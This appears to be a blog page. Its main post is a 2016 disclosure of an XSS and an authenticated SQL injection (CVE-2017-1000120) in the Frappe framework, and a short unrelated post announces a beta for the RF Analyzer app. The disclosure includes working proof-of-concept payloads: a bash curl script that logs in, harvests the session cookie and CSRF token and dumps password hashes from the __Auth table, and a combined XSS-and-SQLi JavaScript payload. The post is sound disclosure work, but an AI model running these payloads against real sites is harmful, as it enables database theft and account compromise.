Mittwoch, 21. Dezember 2016

SQL Injection in Frappe Framework


This is the story how we found a stored XSS and a post-login SQL-injection in the Frappe framework (version 7.1.26), which represent quite a threat for themselves and allow for a multi-stage attack on any frappe-website if combined.


The XSS is found in, when using the /?cmd option on a page, there is a call to get_attr(cmd) (line 30).
def execute_cmd(cmd, from_async=False): """execute a request as python module""" for hook in frappe.get_hooks("override_whitelisted_methods", {}).get(cmd, []): # override using the first hook cmd = hook break method = get_attr(cmd) # line 30 if from_async: method = method.queue is_whitelisted(method) ret =, **frappe.form_dict) # returns with a message if ret: frappe.response['message'] = ret ... def get_attr(cmd): """get method object from cmd""" if '.' in cmd: method = frappe.get_attr(cmd) else: method = globals()[cmd] # line 116 frappe.log("method:" + cmd) return method
If an invalid cmd is given, method = globals()[cmd] (line 116) throws an error. In the error any user input will be reflected.

Proof of concept:

The command itself (alert(document.cookie)) is base64 encoded, since get_attribute() separates at ‘.’ characters.
Since the error message including the malicious command is logged in the admin interface (Error-Snapshot), this represents a stored XSS (admin only) and a reflected XSS for any other given user.

SQLi (CVE-2017-1000120)

The SQL-injection is found in in the get_users() (line 86) function. Since this function is whitelisted, it may be called with any valid user account (no special privileges).
def get_users(doctype, name, fields="*"): """Get list of users with which this document is shared""" if isinstance(fields, (tuple, list)): fields = "`{0}`".format("`, `".join(fields)) return frappe.db.sql( "select {0} from tabDocShare where share_doctype=%s and share_name=%s" .format(fields), (doctype, name), as_dict=True) #line 86
As the code snippet shows, unfiltered user input is directly inserted into the SQL statement (using Python’s format()). Calling the following command from the JSConsole with a logged in account yields the __Auth database.{method: "frappe.share.get_users", args: {doctype: "", name: "", fields: "name, password, salt from __Auth union select 1,1,1"}, callback: function (r) {}})


#!/bin/bash URL="http://$1:$2/" USERNAME=? PASSWORD=? PAYLOAD="doctype=&name=&fields=name%2C+password%2C+salt+from+__Auth+union+select+1%2C1%2C1&cmd=frappe.share.get_users" echo "Target URL: $URL" # Login echo "Try login with pw:test ..." curl -v -d "cmd=login&usr=$USERNAME&pwd=$PASSWORD&device=desktop" "$URL" > /tmp/frappe_login.txt 2>&1 cat /tmp/frappe_login.txt | grep Cookie | awk '{print $3}' | tr "\n" " " > /tmp/frappe_cookies.txt echo "Got Session Cookie: `cat /tmp/frappe_cookies.txt`" curl --cookie "`cat /tmp/frappe_cookies.txt`" ${URL}desk 2>/dev/null | grep csrf_token | awk -F\" '{print $2}' > /tmp/frappe_csrf_token.txt echo "Got CSRF Token: `cat /tmp/frappe_csrf_token.txt`" # SQL Injection echo "Trigger SQL Injection..." curl --header "X-Frappe-CSRF-Token: `cat /tmp/frappe_csrf_token.txt`" --cookie "`cat /tmp/frappe_cookies.txt`" -d $PAYLOAD $URL # Clean up rm /tmp/frappe_login.txt rm /tmp/frappe_cookies.txt rm /tmp/frappe_csrf_token.txt
Both issues have been fixed in a very timely manner (nice work from the frappe team here). The fix is included in version 7.1.29 of the frappe framework.


To line out the pretty critical nature of the exploits, here is a combination of both, which allows database disclosure if any logged-in victim clicks on a malicious link or the administrator reads error-logs:
Here the non-encoded POC:
document.addEventListener('DOMContentLoaded', function() {{method: "frappe.share.get_users", args: {doctype: "", name: "",fields: "name, password, salt from __Auth union select 1,1,1"},callback: function(r) {}}); alert("XSS! And even better, click okay to see some magic!"); alert(JSON.stringify(x.responseJSON)); }, false);
The EventListener is used since we need to access some JS which is loaded after our XSS, so we needed to delay the malicious code.

Fabian Ullrich (fullrich[at], Dennis Mantz (

Link to CVE:

Freitag, 7. Oktober 2016

Join the beta program for RF Analyzer

It took me quite some time to get the new RF Analyzer version done (I had a lot of other things going on, mainly studying on my master..).
Now I want to continue to release new versions more continuously again and therefore I started a beta program to ensure the stability of the app does not suffer.

Here is the link to join the beta program:

If you didn't get the app from Google Play, the beta is also available on GitHub:

Version 1.13 will contain many bugfixes (collected over the year) and also the promised bookmark feature. For the future I plan to support the SDRplay and include digital demodulation modes (PSK31, ...)

changelog for version 1.13
 - Bookmark frequencies
 - Including hackrf_android 1.12 (support for rad1o)
 - Select unit for frequency and bandwidth (MHz,kHz,Hz) in jump dialog
 - Many bugfixes

At this point I want to thank everyone who contacted me and providing me with a ton of feedback and bug reports! Please keep it up!